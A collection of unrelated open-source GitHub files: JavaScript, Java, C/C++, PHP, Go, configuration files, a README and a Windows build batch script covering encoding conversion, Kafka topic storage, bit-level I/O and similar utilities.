"use strict"; // Some environments don't have global Buffer (e.g. React Native). // Solution would be installing npm modules "buffer" and "stream" explicitly. var Buffer = require("buffer").Buffer; var bomHandling = require("./bom-handling"), iconv = module.exports; // All codecs and aliases are kept here, keyed by encoding name/alias. // They are lazy loaded in `iconv.getCodec` from `encodings/index.js`. iconv.encodings = null; // Characters emitted in case of error. iconv.defaultCharUnicode = '�'; iconv.defaultCharSingleByte = '?'; // Public API. iconv.encode = function encode(str, encoding, options) { str = "" + (str || ""); // Ensure string. var encoder = iconv.getEncoder(encoding, options); var res = encoder.write(str); var trail = encoder.end(); return (trail && trail.length > 0) ? Buffer.concat([res, trail]) : res; } iconv.decode = function decode(buf, encoding, options) { if (typeof buf === 'string') { if (!iconv.skipDecodeWarning) { console.error('Iconv-lite warning: decode()-ing strings is deprecated. Refer to https://github.com/ashtuchkin/iconv-lite/wiki/Use-Buffers-when-decoding'); iconv.skipDecodeWarning = true; } buf = new Buffer("" + (buf || ""), "binary"); // Ensure buffer. } var decoder = iconv.getDecoder(encoding, options); var res = decoder.write(buf); var trail = decoder.end(); return trail ? (res + trail) : res; } iconv.encodingExists = function encodingExists(enc) { try { iconv.getCodec(enc); return true; } catch (e) { return false; } } // Legacy aliases to convert functions iconv.toEncoding = iconv.encode; iconv.fromEncoding = iconv.decode; // Search for a codec in iconv.encodings. Cache codec data in iconv._codecDataCache. iconv._codecDataCache = {}; iconv.getCodec = function getCodec(encoding) { if (!iconv.encodings) iconv.encodings = require("../encodings"); // Lazy load all encoding definitions. // Canonicalize encoding name: strip all non-alphanumeric chars and appended year. var enc = (''+encoding).toLowerCase().replace(/[^0-9a-z]|:\d{4}$/g, ""); // Traverse iconv.encodings to find actual codec. var codecOptions = {}; while (true) { var codec = iconv._codecDataCache[enc]; if (codec) return codec; var codecDef = iconv.encodings[enc]; switch (typeof codecDef) { case "string": // Direct alias to other encoding. enc = codecDef; break; case "object": // Alias with options. Can be layered. for (var key in codecDef) codecOptions[key] = codecDef[key]; if (!codecOptions.encodingName) codecOptions.encodingName = enc; enc = codecDef.type; break; case "function": // Codec itself. if (!codecOptions.encodingName) codecOptions.encodingName = enc; // The codec function must load all tables and return object with .encoder and .decoder methods. // It'll be called only once (for each different options object). codec = new codecDef(codecOptions, iconv); iconv._codecDataCache[codecOptions.encodingName] = codec; // Save it to be reused later. return codec; default: throw new Error("Encoding not recognized: '" + encoding + "' (searched as: '"+enc+"')"); } } } iconv.getEncoder = function getEncoder(encoding, options) { var codec = iconv.getCodec(encoding), encoder = new codec.encoder(options, codec); if (codec.bomAware && options && options.addBOM) encoder = new bomHandling.PrependBOM(encoder, options); return encoder; } iconv.getDecoder = function getDecoder(encoding, options) { var codec = iconv.getCodec(encoding), decoder = new codec.decoder(options, codec); if (codec.bomAware && !(options && options.stripBOM === false)) decoder = new bomHandling.StripBOM(decoder, options); return decoder; } // Load extensions in Node. All of them are omitted in Browserify build via 'browser' field in package.json. var nodeVer = typeof process !== 'undefined' && process.versions && process.versions.node; if (nodeVer) { // Load streaming support in Node v0.10+ var nodeVerArr = nodeVer.split(".").map(Number); if (nodeVerArr[0] > 0 || nodeVerArr[1] >= 10) { require("./streams")(iconv); } // Load Node primitive extensions. require("./extend-node")(iconv); } if ("Ā" != "\u0100") { console.error("iconv-lite warning: javascript files use encoding different from utf-8. See https://github.com/ashtuchkin/iconv-lite/wiki/Javascript-source-file-encodings for more info."); }
{ "pile_set_name": "Github" }
/* * Copyright Strimzi authors. * License: Apache License 2.0 (see the file LICENSE or http://apache.org/licenses/LICENSE-2.0.html). */ package io.strimzi.operator.topic; import io.strimzi.operator.topic.zk.AclBuilder; import io.strimzi.operator.topic.zk.Zk; import io.vertx.core.AsyncResult; import io.vertx.core.Future; import io.vertx.core.Promise; import org.I0Itec.zkclient.exception.ZkNoNodeException; import org.I0Itec.zkclient.exception.ZkNodeExistsException; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.zookeeper.CreateMode; import org.apache.zookeeper.data.ACL; import java.util.List; /** * Implementation of {@link TopicStore} that stores the topic state in ZooKeeper. */ public class ZkTopicStore implements TopicStore { private final static Logger LOGGER = LogManager.getLogger(ZkTopicStore.class); private final String topicsPath; private final Zk zk; private final List<ACL> acl; public ZkTopicStore(Zk zk, String topicsPath) { this.zk = zk; this.topicsPath = topicsPath; acl = new AclBuilder().setWorld(AclBuilder.Permission.values()).build(); createStrimziTopicsPath(); } private void createStrimziTopicsPath() { zk.create("/strimzi", null, acl, CreateMode.PERSISTENT, result -> { if (result.failed()) { if (!(result.cause() instanceof ZkNodeExistsException)) { LOGGER.error("Error creating {}", "/strimzi", result.cause()); throw new RuntimeException(result.cause()); } } zk.create(topicsPath, null, acl, CreateMode.PERSISTENT, result2 -> { if (result2.failed()) { if (!(result2.cause() instanceof ZkNodeExistsException)) { LOGGER.error("Error creating {}", topicsPath, result2.cause()); throw new RuntimeException(result2.cause()); } } }); }); } private String getTopicPath(TopicName name) { return topicsPath + "/" + name; } @Override public Future<Topic> read(TopicName topicName) { Promise<Topic> handler = Promise.promise(); String topicPath = getTopicPath(topicName); zk.getData(topicPath, result -> { final AsyncResult<Topic> fut; if (result.succeeded()) { fut = Future.succeededFuture(TopicSerialization.fromJson(result.result())); } else { if (result.cause() instanceof ZkNoNodeException) { fut = Future.succeededFuture(null); } else { fut = result.map((Topic) null); } } handler.handle(fut); }); return handler.future(); } @Override public Future<Void> create(Topic topic) { Promise<Void> handler = Promise.promise(); byte[] data = TopicSerialization.toJson(topic); String topicPath = getTopicPath(topic.getTopicName()); LOGGER.debug("create znode {}", topicPath); zk.create(topicPath, data, acl, CreateMode.PERSISTENT, result -> { if (result.failed() && result.cause() instanceof ZkNodeExistsException) { handler.handle(Future.failedFuture(new EntityExistsException())); } else { handler.handle(result); } }); return handler.future(); } @Override public Future<Void> update(Topic topic) { Promise<Void> handler = Promise.promise(); byte[] data = TopicSerialization.toJson(topic); // TODO pass a non-zero version String topicPath = getTopicPath(topic.getTopicName()); LOGGER.debug("update znode {}", topicPath); zk.setData(topicPath, data, -1, handler); return handler.future(); } @Override public Future<Void> delete(TopicName topicName) { Promise<Void> handler = Promise.promise(); // TODO pass a non-zero version String topicPath = getTopicPath(topicName); LOGGER.debug("delete znode {}", topicPath); zk.delete(topicPath, -1, result -> { if (result.failed() && result.cause() instanceof ZkNoNodeException) { handler.handle(Future.failedFuture(new NoSuchEntityExistsException())); } else { handler.handle(result); } }); return handler.future(); } }
{ "pile_set_name": "Github" }
#ifndef __NVIF_IF500B_H__ #define __NVIF_IF500B_H__ #include "if000a.h" struct nv50_mem_vn { /* nvif_mem_vX ... */ }; struct nv50_mem_v0 { /* nvif_mem_vX ... */ __u8 version; __u8 bankswz; __u8 contig; }; struct nv50_mem_map_vn { }; struct nv50_mem_map_v0 { __u8 version; __u8 ro; __u8 kind; __u8 comp; }; #endif
{ "pile_set_name": "Github" }
{ "default_state": "Level1", "states": { "Level1": { "runs": [ { "name": "ppo-10M", "agent": "ppo", "hyperparameters": { "timesteps": 10000000, "time_limit": 4500 }, "tags": [], "rewards": { "mean": 44564.44636678201, "first_10_mean": 750.0, "final_10_mean": 47870.0, "median": 48200.0, "max": 49200.0 } } ] } } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <configuration> <configSections> <!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 --> <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" /> </configSections> <startup> <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" /> </startup> <entityFramework> <defaultConnectionFactory type="System.Data.Entity.Infrastructure.SqlConnectionFactory, EntityFramework" /> <providers> <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" /> <provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" /> </providers> </entityFramework> <system.data> <DbProviderFactories> <remove invariant="System.Data.SQLite.EF6" /> <add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" /> <remove invariant="System.Data.SQLite" /><add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" /></DbProviderFactories> </system.data> </configuration>
{ "pile_set_name": "Github" }
import { IconDefinition, IconPrefix, IconName } from "@fortawesome/fontawesome-common-types"; export const definition: IconDefinition; export const faWallet: IconDefinition; export const prefix: IconPrefix; export const iconName: IconName; export const width: number; export const height: number; export const ligatures: string[]; export const unicode: string; export const svgPathData: string;
{ "pile_set_name": "Github" }
# camelcase [![Build Status](https://travis-ci.org/sindresorhus/camelcase.svg?branch=master)](https://travis-ci.org/sindresorhus/camelcase) > Convert a dash/dot/underscore/space separated string to camelCase: `foo-bar` → `fooBar` ## Install ```sh $ npm install --save camelcase ``` ## Usage ```js var camelCase = require('camelcase'); camelCase('foo-bar'); //=> fooBar camelCase('foo_bar'); //=> fooBar camelCase('Foo-Bar'); //=> fooBar camelCase('--foo.bar'); //=> fooBar camelCase('__foo__bar__'); //=> fooBar camelCase('foo bar'); //=> fooBar console.log(process.argv[3]); //=> --foo-bar camelCase(process.argv[3]); //=> fooBar camelCase('foo', 'bar'); //=> fooBar camelCase('__foo__', '--bar'); //=> fooBar ``` ## Related See [`decamelize`](https://github.com/sindresorhus/decamelize) for the inverse. ## License MIT © [Sindre Sorhus](http://sindresorhus.com)
{ "pile_set_name": "Github" }
package scouterx.webapp.layer.controller; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.Setter; import scouterx.webapp.framework.exception.ErrorState; import scouterx.webapp.framework.exception.ErrorStateBizException; import scouterx.webapp.framework.exception.ErrorStateException; import scouterx.webapp.view.CommonResultView; import scouterx.webapp.framework.annotation.NoAuth; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import javax.ws.rs.GET; import javax.ws.rs.Path; import javax.ws.rs.Produces; import javax.ws.rs.core.Context; import javax.ws.rs.core.MediaType; import java.util.HashMap; import java.util.Map; /** * This class is for testing * Created by gunlee on 2017. 8. 24. */ @Path("/v0/temp/test") @Produces(MediaType.APPLICATION_JSON) public class TempTestController { @GET public String check(@Context HttpServletRequest request) { HttpSession session = request.getSession(true); session.setAttribute("testId", "testIdValue"); return "OK"; } @GET @Path("/more") @NoAuth public String checkMore() { return "OK-More"; } @GET @Path("/todo") public ToDo checkTodo() { return new ToDo("morning todo", "brew a coffee", new Job("mytypes", "jobname!!")); } @GET @Path("/todoAsResult") public CommonResultView<ToDo> checkTodoAsResult() { ToDo todo = new ToDo("morning todo", "brew a coffee", new Job("mytypes", "jobname!!")); CommonResultView<ToDo> resultView = CommonResultView.success(todo); return resultView; } @GET @Path("/exception") public CommonResultView<ToDo> exception() { if (true) { throw new RuntimeException("my exception"); } return null; } @GET @Path("/exception/state") public CommonResultView<ToDo> exceptionState() { if (true) { throw new ErrorStateException(ErrorState.INTERNAL_SERVER_ERROR, "test error state exception", new RuntimeException("my runtime ex!!!!!")); } return null; } @GET @Path("/exception/biz") public CommonResultView<ToDo> exceptionBizState() { if (true) { throw new ErrorStateBizException(ErrorState.INTERNAL_SERVER_ERROR, "test error state BIZ !! exception"); } return null; } @GET @Path("/map") public CommonResultView<Map<String, Object>> map() { Map<String, Object> map = new HashMap<>(); map.put("1111", "asdf"); map.put("2222", new Integer(22233)); map.put("3333", 3333); return CommonResultView.success(map); } @Setter @Getter @AllArgsConstructor public static class ToDo { String title; String desc; Job job2; } @Setter @Getter @AllArgsConstructor public static class Job { String type; String name; } }
{ "pile_set_name": "Github" }
<?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to [email protected] so we can send you a copy immediately. * * @category Zend * @package Zend_Feed_Reader * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License * @version $Id: Entry.php 20096 2010-01-06 02:05:09Z bkarwin $ */ /** * @see Zend_Feed_Reader */ // require_once 'Zend/Feed/Reader.php'; /** * @see Zend_Feed_Reader_Extension_EntryAbstract */ // require_once 'Zend/Feed/Reader/Extension/EntryAbstract.php'; /** * @category Zend * @package Zend_Feed_Reader * @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ class Zend_Feed_Reader_Extension_Slash_Entry extends Zend_Feed_Reader_Extension_EntryAbstract { /** * Get the entry section * * @return string|null */ public function getSection() { return $this->_getData('section'); } /** * Get the entry department * * @return string|null */ public function getDepartment() { return $this->_getData('department'); } /** * Get the entry hit_parade * * @return array */ public function getHitParade() { $name = 'hit_parade'; if (isset($this->_data[$name])) { return $this->_data[$name]; } $stringParade = $this->_getData($name); $hitParade = array(); if (!empty($stringParade)) { $stringParade = explode(',', $stringParade); foreach ($stringParade as $hit) $hitParade[] = $hit + 0; //cast to integer } $this->_data[$name] = $hitParade; return $hitParade; } /** * Get the entry comments * * @return int */ public function getCommentCount() { $name = 'comments'; if (isset($this->_data[$name])) { return $this->_data[$name]; } $comments = $this->_getData($name, 'string'); if (!$comments) { $this->_data[$name] = null; return $this->_data[$name]; } return $comments; } /** * Get the entry data specified by name * @param string $name * @param string $type * * @return mixed|null */ protected function _getData($name, $type = 'string') { if (array_key_exists($name, $this->_data)) { return $this->_data[$name]; } $data = $this->_xpath->evaluate($type . '(' . $this->getXpathPrefix() . '/slash10:' . $name . ')'); if (!$data) { $data = null; } $this->_data[$name] = $data; return $data; } /** * Register Slash namespaces * * @return void */ protected function _registerNamespaces() { $this->_xpath->registerNamespace('slash10', 'http://purl.org/rss/1.0/modules/slash/'); } }
{ "pile_set_name": "Github" }
package mem import ( "github.com/nu7hatch/gouuid" "google.golang.org/appengine" "google.golang.org/appengine/log" "net/http" ) func newVisitor(req *http.Request) (*http.Cookie, error) { m := initialModel() id, err := uuid.NewV4() if err != nil { ctx := appengine.NewContext(req) log.Errorf(ctx, "ERROR newVisitor uuid.NewV4: %s", err) return nil, err } return makeCookie(m, id.String(), req) } func currentVisitor(m model, id string, req *http.Request) (*http.Cookie, error) { return makeCookie(m, id, req) } func initialModel() model { m := model{ Name: "", State: false, Pictures: []string{ "one.jpg", }, } return m }
{ "pile_set_name": "Github" }
/* This file contains special classes for bitwise reading and writing of arrays */ #include "bitops.h" #include <algorithm> #include <array> #include <cstdio> #include <cstdlib> #include <experimental/filesystem> #include <fstream> #include <stdexcept> #if defined(_WIN32) || defined(WIN32) #include <fcntl.h> #include <io.h> #endif /* ----------------------------------------------- constructor for BitReader class ----------------------------------------------- */ BitReader::BitReader( unsigned char* array, int size ) { data = array; lbyte = size; } /* ----------------------------------------------- destructor for BitReader class ----------------------------------------------- */ BitReader::~BitReader() {} /* ----------------------------------------------- reads n bits from BitReader ----------------------------------------------- */ unsigned int BitReader::read( int nbits ) { unsigned int retval = 0; if ( eof()) { peof_ += nbits; return 0; } while ( nbits >= cbit ) { nbits -= cbit; retval |= ( RBITS( data[cbyte], cbit ) << nbits ); update_curr_byte(); if (eof()) { peof_ = nbits; return retval; } } if ( nbits > 0 ) { retval |= ( MBITS( data[cbyte], cbit, (cbit-nbits) ) ); cbit -= nbits; } return retval; } /* ----------------------------------------------- reads one bit from BitReader ----------------------------------------------- */ unsigned char BitReader::read_bit() { if (eof()) { peof_++; return 0; } // read one bit unsigned char bit = BITN( data[cbyte], --cbit ); if ( cbit == 0 ) { update_curr_byte(); } return bit; } void BitReader::update_curr_byte() { cbyte++; eof_ = cbyte == lbyte; cbit = 8; } /* ----------------------------------------------- to skip padding from current byte ----------------------------------------------- */ unsigned char BitReader::unpad( unsigned char fillbit ) { if ( ( cbit == 8 ) || eof()) { return fillbit; } else { fillbit = read( 1 ); while ( cbit != 8 ) { read( 1 ); } } return fillbit; } /* ----------------------------------------------- get current position in array ----------------------------------------------- */ int BitReader::getpos() { return cbyte; } /* ----------------------------------------------- get current bit position ----------------------------------------------- */ int BitReader::getbitp() { return cbit; } /* ----------------------------------------------- set byte and bit position ----------------------------------------------- */ void BitReader::setpos( int pbyte, int pbit ) { if ( pbyte < lbyte ) { // reset eof eof_ = false; // set positions cbyte = pbyte; cbit = pbit; } else { // set eof eof_ = true; // set positions cbyte = lbyte; cbit = 8; peof_ = ( ( pbyte - lbyte ) * 8 ) + 8 - pbit; } } /* ----------------------------------------------- rewind n bits ----------------------------------------------- */ void BitReader::rewind_bits( int nbits ) { if (eof()) { if (nbits > peof_) { nbits -= peof_; peof_ = 0; } else { peof_ -= nbits; return; } eof_ = false; } cbit += nbits; cbyte -= cbit / 8; cbit = cbit % 8; if ( cbyte < 0 ) { cbyte = 0; cbit = 8; } } bool BitReader::eof() { return eof_; } int BitReader::peof() { return peof_; } BitWriter::BitWriter(std::uint8_t padbit) : padbit_(padbit) {} BitWriter::~BitWriter() {} std::uint32_t rbits32(std::uint32_t val, std::size_t n) { return val & (0xFFFFFFFF >> (32 - n)); } std::uint32_t mbits32(std::uint32_t val, std::size_t l, std::size_t r) { return rbits32(val, l) >> r; } void BitWriter::write_u16(std::uint16_t val, std::size_t num_bits) { while (num_bits >= curr_bit_) { curr_byte_ |= mbits32(val, num_bits, num_bits - curr_bit_); num_bits -= curr_bit_; write_curr_byte(); } if (num_bits > 0) { curr_byte_ |= rbits32(val, num_bits) << (curr_bit_ - num_bits); curr_bit_ -= num_bits; } } void BitWriter::write_bit(std::uint8_t bit) { curr_bit_--; curr_byte_ |= bit << curr_bit_; if (curr_bit_ == 0) { write_curr_byte(); } } void BitWriter::write_curr_byte() { bytes_.emplace_back(curr_byte_); curr_byte_ = 0; curr_bit_ = 8; } void BitWriter::pad() { while (curr_bit_ < 8) { write_bit(padbit_); } } std::vector<std::uint8_t> BitWriter::get_bytes() { pad(); // Pad the last bits of the current byte before returning the written bytes. return bytes_; } unsigned char* BitWriter::get_c_bytes() { pad(); // Pad the last bits of the current byte before returning the written bytes. unsigned char* c_bytes = new unsigned char[bytes_.size()]; std::copy(std::begin(bytes_), std::end(bytes_), c_bytes); return c_bytes; } std::size_t BitWriter::num_bytes_written() const { return bytes_.size(); } unsigned char* Reader::get_c_data() { const auto data = this->get_data(); auto c_data_copy = (unsigned char*)std::malloc(data.size() * sizeof data[0]); if (c_data_copy == nullptr) { return nullptr; } std::copy(std::begin(data), std::end(data), c_data_copy); return c_data_copy; } MemoryReader::MemoryReader(const std::vector<std::uint8_t>& bytes) : data_(bytes), cbyte_(std::begin(data_)) { } MemoryReader::MemoryReader(const std::uint8_t* bytes, std::size_t size) : data_(bytes, bytes + size), cbyte_(std::begin(data_)) { } std::size_t MemoryReader::read(std::uint8_t* to, std::size_t num_to_read) { if (num_to_read == 0 || to == nullptr) { return 0; } auto numAvailable = std::distance(cbyte_, std::end(data_)); auto numRead = std::min(static_cast<std::size_t>(numAvailable), num_to_read); auto end = std::next(cbyte_, numRead); std::copy(cbyte_, end, to); cbyte_ = end; return numRead; } std::size_t MemoryReader::read(std::vector<std::uint8_t>& into, std::size_t n, std::size_t offset) { const std::size_t num_available = get_size() - num_bytes_read(); // The number of bytes in the reader not yet read. const std::size_t num_to_read = std::min(n, num_available); // How many bytes will be read. if (into.size() < num_to_read + offset) { into.resize(num_to_read + offset); } const auto end = std::next(cbyte_, num_to_read); const auto write_start = std::next(std::begin(into), offset); std::copy(cbyte_, end, write_start); cbyte_ = end; return num_to_read; } std::uint8_t MemoryReader::read_byte() { if (end_of_reader()) { throw std::runtime_error("No bytes left to read"); } else { std::uint8_t the_byte = *cbyte_; ++cbyte_; return the_byte; } } bool MemoryReader::read_byte(std::uint8_t* byte) { if (end_of_reader()) { return false; } else { *byte = *cbyte_; ++cbyte_; return true; } } void MemoryReader::skip(std::size_t n) { auto num_to_skip = std::min(n, std::size_t(std::distance(cbyte_, std::end(data_)))); cbyte_ += num_to_skip; } void MemoryReader::rewind_bytes(std::size_t n) { auto num_to_rewind = std::min(n, std::size_t(std::distance(std::begin(data_), cbyte_))); auto new_pos = std::distance(std::begin(data_), cbyte_) - num_to_rewind; cbyte_ = std::next(std::begin(data_), new_pos); } void MemoryReader::rewind() { cbyte_ = std::begin(data_); } std::size_t MemoryReader::num_bytes_read() { return std::distance(std::begin(data_), cbyte_); } std::size_t MemoryReader::get_size() { return data_.size(); } std::vector<std::uint8_t> MemoryReader::get_data() { return data_; } bool MemoryReader::error() { return false; } bool MemoryReader::end_of_reader() { return cbyte_ == std::end(data_); } unsigned char* Writer::get_c_data() { try { const auto data = this->get_data(); auto c_data_copy = (unsigned char*)std::malloc(data.size() * sizeof data[0]); if (c_data_copy == nullptr) { return nullptr; } std::copy(std::begin(data), std::end(data), c_data_copy); return c_data_copy; } catch (const std::exception&) { return nullptr; } } MemoryWriter::MemoryWriter() {} std::size_t MemoryWriter::write(const std::uint8_t* from, std::size_t n) { data_.insert(std::end(data_), from, from + n); return n; } std::size_t MemoryWriter::write(const std::vector<std::uint8_t>& bytes) { data_.insert(std::end(data_), std::begin(bytes), std::end(bytes)); return bytes.size(); } std::size_t MemoryWriter::write(const std::array<std::uint8_t, 2>& bytes) { data_.insert(std::end(data_), std::begin(bytes), std::end(bytes)); return bytes.size(); } bool MemoryWriter::write_byte(std::uint8_t byte) { data_.emplace_back(byte); return true; } std::vector<std::uint8_t> MemoryWriter::get_data() { return data_; } void MemoryWriter::reset() { data_.resize(0); } std::size_t MemoryWriter::num_bytes_written() { return data_.size(); } bool MemoryWriter::error() { return false; } FileWriter::FileWriter(const std::string& file_path) : file_path_(file_path) { fptr_ = std::fopen(file_path.c_str(), "wb"); if (fptr_ != nullptr) { file_buffer_.reserve(32768); std::setvbuf(fptr_, file_buffer_.data(), _IOFBF, file_buffer_.capacity()); } else { throw std::runtime_error("Unable to open " + file_path_ + " for writing."); } } FileWriter::~FileWriter() { if (fptr_ != nullptr) { std::fflush(fptr_); std::fclose(fptr_); } } std::size_t FileWriter::write(const std::uint8_t* from, std::size_t n) { return std::fwrite(from, sizeof from[0], n, fptr_); } std::size_t FileWriter::write(const std::vector<std::uint8_t>& bytes) { return write(bytes.data(), bytes.size()); } std::size_t FileWriter::write(const std::array<std::uint8_t, 2>& bytes) { return write(bytes.data(), 2); } bool FileWriter::write_byte(std::uint8_t byte) { return std::fputc(byte, fptr_) == byte; } std::vector<std::uint8_t> FileWriter::get_data() { std::fflush(fptr_); if (std::ifstream is{ file_path_, std::ios::binary | std::ios::ate }) { const auto size = is.tellg(); std::vector<std::uint8_t> data_copy(size); is.seekg(0); if (is.read(reinterpret_cast<char*>(data_copy.data()), size)) { return data_copy; } else { throw std::runtime_error("FileWriter::get_data: unable to read bytes from file."); } } else { throw std::runtime_error("FileWriter::get_data: unable to open read stream for file."); } } void FileWriter::reset() { std::fseek(fptr_, 0, SEEK_SET); } std::size_t FileWriter::num_bytes_written() { std::fflush(fptr_); return std::experimental::filesystem::file_size(file_path_); } bool FileWriter::error() { return fptr_ == nullptr || std::ferror(fptr_); } StreamWriter::StreamWriter() { writer_ = std::make_unique<MemoryWriter>(); } StreamWriter::~StreamWriter() { #if defined(_WIN32) || defined(WIN32) const int result = _setmode(_fileno(stdout), _O_BINARY); if (result == -1) { return; } #endif const auto& data = writer_->get_data(); fwrite(data.data(), sizeof data[0], data.size(), stdout); } std::size_t StreamWriter::write(const std::uint8_t* from, std::size_t n) { return writer_->write(from, n); } std::size_t StreamWriter::write(const std::vector<std::uint8_t>& bytes) { return writer_->write(bytes); } std::size_t StreamWriter::write(const std::array<std::uint8_t, 2>& bytes) { return writer_->write(bytes); } bool StreamWriter::write_byte(std::uint8_t byte) { return writer_->write_byte(byte); } std::vector<std::uint8_t> StreamWriter::get_data() { return writer_->get_data(); } void StreamWriter::reset() { writer_->reset(); } std::size_t StreamWriter::num_bytes_written() { return writer_->num_bytes_written(); } bool StreamWriter::error() { return writer_->error(); } FileReader::FileReader(const std::string& file_path) { if (std::ifstream is{ file_path, std::ios::binary | std::ios::ate }) { const auto size = is.tellg(); std::vector<std::uint8_t> data(size); is.seekg(0); if (is.read(reinterpret_cast<char*>(data.data()), size)) { reader_ = std::make_unique<MemoryReader>(data); } else { throw std::runtime_error("FileReader: unable to read bytes from " + file_path); } } else { throw std::runtime_error("FileReader: unable to open read stream for " + file_path); } } FileReader::~FileReader() {} std::size_t FileReader::read(std::uint8_t* to, std::size_t num_to_read) { return reader_->read(to, num_to_read); } std::size_t FileReader::read(std::vector<std::uint8_t>& into, std::size_t num_to_read, std::size_t offset) { return reader_->read(into, num_to_read, offset); } std::uint8_t FileReader::read_byte() { return reader_->read_byte(); } bool FileReader::read_byte(std::uint8_t* to) { return reader_->read_byte(to); } void FileReader::skip(std::size_t n) { return reader_->skip(n); } void FileReader::rewind_bytes(std::size_t n) { return reader_->rewind_bytes(n); } void FileReader::rewind() { reader_->rewind(); } std::size_t FileReader::num_bytes_read() { return reader_->num_bytes_read(); } std::size_t FileReader::get_size() { return reader_->get_size(); } std::vector<std::uint8_t> FileReader::get_data() { return reader_->get_data(); } bool FileReader::error() { return reader_->error(); } bool FileReader::end_of_reader() { return reader_->end_of_reader(); } StreamReader::StreamReader() { #if defined(_WIN32) || defined(WIN32) const int result = _setmode(_fileno(stdin), _O_BINARY); if (result == -1) { throw std::runtime_error("Unable to set mode for stdin"); } #endif // read whole stream into memory buffer std::vector<std::uint8_t> stream_data; constexpr auto buffer_capacity = 1024 * 1024; std::vector<std::uint8_t> buffer(buffer_capacity); auto bytes_read = std::fread(buffer.data(), sizeof buffer[0], buffer_capacity, stdin); while (bytes_read > 0) { stream_data.insert(std::end(stream_data), std::begin(buffer), std::begin(buffer) + bytes_read); bytes_read = std::fread(buffer.data(), sizeof buffer[0], buffer_capacity, stdin); } reader_ = std::make_unique<MemoryReader>(stream_data); } std::size_t StreamReader::read(std::uint8_t* to, std::size_t num_to_read) { return reader_->read(to, num_to_read); } std::size_t StreamReader::read(std::vector<std::uint8_t>& into, std::size_t num_to_read, std::size_t offset) { return reader_->read(into, num_to_read, offset); } std::uint8_t StreamReader::read_byte() { return reader_->read_byte(); } bool StreamReader::read_byte(std::uint8_t* to) { return reader_->read_byte(to); } void StreamReader::skip(std::size_t n) { reader_->skip(n); } void StreamReader::rewind_bytes(std::size_t n) { reader_->rewind_bytes(n); } void StreamReader::rewind() { reader_->rewind(); } std::size_t StreamReader::num_bytes_read() { return reader_->num_bytes_read(); } std::size_t StreamReader::get_size() { return reader_->get_size(); } std::vector<std::uint8_t> StreamReader::get_data() { return reader_->get_data(); } bool StreamReader::error() { return reader_->error(); } bool StreamReader::end_of_reader() { return reader_->end_of_reader(); }
{ "pile_set_name": "Github" }
@echo off REM Configures the Windows build SETLOCAL EnableExtensions REM Set this variable if any warnings have been reported SET warnings=0 REM Not all versions of windows the the %programfiles(x86)% variable IF NOT DEFINED programfiles(x86) SET programfiles(x86)=%programfiles% REM When calling configure.bat from the command line, BUILD_EDITION is not defined IF NOT DEFINED BUILD_EDITION SET BUILD_EDITION="community" REM Target architecture currently defaults to 32-bit x86 IF NOT DEFINED TARGET_ARCH SET TARGET_ARCH=x64 REM Make sure TARGET_ARCH is always x86 or x86_64 IF %TARGET_ARCH%==x64 ( SET TARGET_ARCH=x86_64 ) ELSE IF %TARGET_ARCH%==i386 ( SET TARGET_ARCH=x86 ) ELSE IF %TARGET_ARCH% ==x86 ( REM Valid ) ELSE IF %TARGET_ARCH% == x86_64 ( REM Valid ) ELSE ( ECHO >&2 Error: invalid target arch %TARGET_ARCH% EXIT /B 1 ) REM Note: to test whether a directory exists in batch script, you need to check REM whether a file within that directory exists. Easiest way to do this is to REM add the "*" wildcard after the directory REM Attempt to locate a copy of Python WHERE /Q python 1>NUL 2>NUL IF %ERRORLEVEL% NEQ 0 ( IF EXIST C:\Python27\python.exe ( SET python=C:\Python27\python.exe ) ELSE IF EXIST C:\Python26\python.exe ( SET python=C:\Python26\python.exe ) ELSE ( ECHO >&2 Error: could not locate a copy of python PAUSE EXIT /B 1 ) ) ELSE ( SET python=python ) REM Attempt to locate the Microsoft Speech SDK v5.1 IF EXIST "%programfiles(x86)%\Microsoft Speech SDK 5.1\*" ( SET extra_options=%extra_options% -Dms_speech_sdk5="%programfiles(x86)%/Microsoft Speech SDK 5.1" ) ELSE ( ECHO >&2 Warning: could not locate the Microsoft Speech SDK v5.1; revSpeech will not build SET warnings=1 ) REM Pause so any warnings can be seen IF %warnings% NEQ 0 PAUSE REM Run the configure step %python% config.py --platform win-%TARGET_ARCH% %extra_options% %gypfile% PAUSE REM Pause if there was an error so that the user gets a chance to see it IF %ERRORLEVEL% NEQ 0 PAUSE EXIT /B %ERRORLEVEL%
{ "pile_set_name": "Github" }
